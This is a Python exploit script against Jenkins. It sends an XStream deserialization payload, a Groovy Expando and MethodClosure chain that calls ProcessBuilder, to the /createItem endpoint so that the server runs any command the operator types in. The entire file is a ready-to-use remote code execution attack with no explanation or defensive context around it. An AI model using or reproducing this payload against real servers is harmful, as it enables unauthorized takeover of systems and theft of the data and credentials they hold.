import requests
import os
import random


def exploit(url, command):
    print(f'[*] PWNING JENKINGS AT {url}')
    rand_num = random.randint(100,600000)

    splitCmd = command.split()
    preparedCmd = ''

    for x in splitCmd:
        preparedCmd += f'<string>{x}</string>'

    xml = f'''
    <map>
        <entry>
            <groovy.util.Expando>
            <expandoProperties>
                <entry>
                <string>hashCode</string>
                <org.codehaus.groovy.runtime.MethodClosure>
                    <delegate class="groovy.util.Expando"/>
                    <owner class="java.lang.ProcessBuilder">
                    <command>{preparedCmd}</command>
                    </owner>
                    <method>start</method>
                </org.codehaus.groovy.runtime.MethodClosure>
                </entry>
            </expandoProperties>
            </groovy.util.Expando>
            <int>1</int>
        </entry>
    </map>'''

    url_reg = url + "/createItem?name=" + str(rand_num)
    s = requests.Session()
    print(f'[*] Sending exploit to {url_reg}')
    s.post(url_reg, data=xml, headers={'Content-Type': 'application/xml'})
    print(f'[!] Exploit send!')


def main():
    url = input('[*] Jenkins URL: ')
    command = input('[*] Command to execute: ')
    exploit(url, command)


main()
